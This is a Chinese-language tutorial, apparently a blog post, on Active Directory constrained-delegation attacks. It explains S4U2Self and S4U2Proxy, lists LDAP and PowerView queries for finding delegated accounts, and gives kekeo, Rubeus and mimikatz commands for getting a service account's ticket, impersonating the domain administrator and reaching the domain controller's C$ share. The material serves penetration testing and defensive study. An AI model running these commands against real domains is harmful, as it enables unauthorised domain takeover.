【详解委派攻击】2.约束性委派

本文涉及的产品
.cn 域名,1个 12个月
简介: 由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,支持两个子协议:S4U2Self(Service for User to Self)和 S4U2proxy(Service for User to Proxy),这两个扩展都允许服务代表其他用户从KDC请求TGS/ST,下面详细分析一下两者的含义和区别:

一、约束性委派的原理:

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,支持两个子协议:S4U2Self(Service for User to Self)和 S4U2proxy(Service for User to Proxy),这两个扩展都允许服务代表其他用户从KDC请求TGS/ST,下面详细分析一下两者的含义和区别:

S4U2self:

当服务账户开启了约束性委派时,那么该服务就可以代表访问到该服务的用户请求针对其自身的服务票据(ST),也就是说当user1访问到了服务1,服务1以s4u2self的方式向KDC请求一张可以以user1身份访问自身服务1的、可用于转发的票据,实际还是访问的服务1,但是借助了user1的身份,目的就是拿到user1的授权数据,如果user1是以其他认证方式对服务1进行认证的(web、ntlm等),是获取不到访问服务1自身的st票据的,所以s4u2self就是用来解决这个问题的。

S4U2proxy:

服务1可以以用户的名义请求其它服务的ST,和self最大的区别就是self是请求自身服务,当需要以user1的身份访问其他服务,就需要s4u2proxy上场了,而约束委派就是限制了S4U2proxy扩展的访问范围

具体流程:

1.用户user1想要访问服务1

2.服务1通过s4u2self协议向KDC请求一个授予user1可以访问服务1自身、可用于转发的一个票据ST1

3.服务1想要以user1的身份访问服务2

4. 服务1通过s4u2proxy协议向KDC获取访问服务2的票据ST2

5.最后获得票据成功,访问到服务2

约束与非约束的区别:

与非约束性委派的最大区别就是,约束性委派获取到的是TGS,所以只能以用户的身份访问特定的服务,也就是在模拟用户访问服务的同时,对能访问的服务范围进行了限制,并且TGT不再会保存到lsass中,所以不能像非约束委派一样直接导出票据再注入进行利用了

二、约束性委派的配置和发现:

1、配置约束性委派:

配置服务账户test2对域控机器PANDA的特定服务cifs的约束性委派

不过在实际环境中,基本不会有企业会这么配置的,所以约束性委派用的也不是很多

当服务账号或者主机被设置为约束性委派时,其userAccountControl属性会包含TRUSTED_TO_AUTH_FOR_DELEGATION

而且msDS-AllowedToDelegateTo属性会包含被约束的特定服务


2、约束性委派的发现:

①利用ldapsearch

# 约束委派用户


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

可以看查询到用户和可以委派的服务

# 约束委派机器


ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"


②利用Adfind

# 约束委派用户


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 约束委派机器


AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto


③利用poweview(empire下的)

# 约束委派用户


powershell -exec bypass "Import-Module .\PowerView.ps1;Get-DomainUser -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto"

# 约束委派机器


powershell -exec bypass "Import-Module .\PowerView.ps1;DomainComputer -TrustedToAuth -Domain hack.com | select name,msds-allowedtodelegateto"


④倾璇师傅的

# 约束委派机器


./goDomain -username 域名\\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-delegation-computers

三、约束性委派的利用:

1、当获取到配置了约束性委派的服务账户的明文密码或者hash,就可以伪造s4u请求,以任意用户的身份申请访问某服务的ST:


使用kekeo请求约束性委派服务用户的TGT

# 已知明文


tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /password:约束性委派服务用户密码 /ticket:test2tgt.kirbi

# 已知Hash


tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /ntlm:约束性委派服务用户hash /ticket:test2tgt.kirbi

②得到服务用户test2的TGT后,伪造s4u请求以域管权限访问cifs服务的TGS


Tgs::s4u /tgt:TGT_test2@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:administrator@域名全称 /service:cifs/域控主机名.域名全称

然后会生成两个TGS

③在当前目录下会生成s4u2self获取的st1和s4u2proxy获取到的st2,用mimikatz导入st2即可


mimikatz "privilege::debug" "kerberos::ptt xxx有cifs字符的.kirbi" "exit"

然后就可以访问域控的cifs服务了


dir \\域控主机名\c$


使用rubeus请求约束性委派服务用户的TGT

# 已知明文


Rubeus.exe asktgt /user:约束性委派服务用户名 /domain:域名全成称 /password:约束性委派服务用户密码

获取到的是base64编码的tgt

# 已知Hash


Rubeus.exe asktgt /user:约束性委派服务用户名 /domain:域名全成称 /ntlm:xxx

②得到服务用户的TGT后,伪造s4u请求以域管权限访问cifs服务的TGS


Rubeus.exe  s4u /ticket:base64-tgt /impersonateuser:administrator /msdsspn:cifs/域控主机名.域名全称 /ptt

/msdsspn可以根据查出来的允许的服务进行更改,注意一定要用.域名全称的格式,否侧注入的票据无法访问

然后就可以访问域控的cifs服务了


dir \\域控主机名\c$

2、如果约束委派服务账户的明文密码和hash都不知道,在获取到约束委派服务账户所在的机器权限后或者是机器本身配置了约束委派,可以利用mimikatz导出机器内存中的约束委派服务用户test2的票据,再进行票据的注入:

①获取到约束委派服务账户所在机器的管理员权限后,使用mimikatz导出内存中的票据


mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"

需要管理员权限才能导出

获取到了服务用户test2的票据:

②得到服务用户test2的TGT票据后,伪造s4u请求以域管权限访问cifs服务的TGS


Tgs::s4u /tgt:[0;af0ef3]-2-1-40e10000-test2@krbtgt-HACK.COM.kirbi /user:administrator@hack.com /service:cifs/PANDA.hack.com

③用mimikatz导入ST2


mimikatz "privilege::debug" "kerberos::ptt TGS_administrator@hack.com@HACK.COM_cifs~PANDA.hack.com@HACK.COM.kirbi" "exit"


其实就是在获取约束委派服务用户TGT的方式和已知明文或hash的方式有所区别而已,后续伪造S4u请求获取TGS的方式都是一样的,导入票据后访问域控cifs服务即可


另一种约束委派的利用方式可以参考:

http://mp.weixin.qq.com/s?__biz=MzA5NDY1OTY5OA==&mid=2247483872&idx=1&sn=da922c3ef3f1f74c18ca10151b3eec02&chksm=904a74fda73dfdeb8609fe0eb3cf16a5bb625b2d3fc4b209b62d9007d5f07ad7a2f32e453261&mpshare=1&scene=24&srcid=0223mI6hZ5xVsRNogSDX4QXo&sharer_sharetime=1645591585126&sharer_shareid=1a4a1d8d5a85d33bd0507493a4cb21c4#rd


目录
相关文章
|
Java Spring 容器
DelegatingFilterProxy(委派拦截代理)(五)
DelegatingFilterProxy(委派拦截代理)(五)
89 0
DelegatingFilterProxy(委派拦截代理)(五)
|
4月前
|
Java 编译器
什么是双亲委派机制?
什么是双亲委派机制?
261 59
|
4月前
|
前端开发 Java C++
双亲委派机制
这篇文章详细解释了Java中的双亲委派机制,包括其原理、类加载器的分类(启动类加载器、扩展类加载器、应用程序类加载器)以及它们之间的关系和作用。
|
存储 前端开发 安全
JVM系列(1):双亲委派机制和沙箱安全机制
 JVM 是 Java Virtual Machine(Java 虚拟机)的缩写,JVM 是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。
106 0
|
Java 关系型数据库 MySQL
双亲委派机制,懂吧~ 那什么情况下需要破坏它,知道吗?
双亲委派机制,懂吧~ 那什么情况下需要破坏它,知道吗?
111 0
|
前端开发 安全 Java
双亲委派到底是个啥
双亲委派到底是个啥
43 0
|
设计模式 前端开发 Java
你以为委派模式很神秘,其实你每天都在用
我们用代码来模拟老板给员工分配任务的业务场景。
90 0
|
Linux
【详解委派攻击】1.非约束性委派
当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)
371 0
【详解委派攻击】1.非约束性委派
|
网络协议 Shell Linux
【详解委派攻击】3.基于资源的约束性委派
在windows server 2012开始加入了新功能(基于资源的约束性委派RBCD),而且不需要域管理员去设置相关属性,RBCD把设置委派的权限赋予了机器自身,机器自己可以决定谁可以被委派来控制我,也就是说机器自身可以直接在自己账户上配置msDS
650 0
|
安全 Shell
【详解委派攻击】绕过委派限制Kerberos Bronze Bit
通过此漏洞可以绕过以下两个限制进行利用: ①配置约束委派时,勾选的是"仅使用Kerberos(K)" ②伪造高权限用户票据时,此高权限用户的属性配置了"敏感用户不能被委派",或者高权限用户在"受保护的组"内
184 0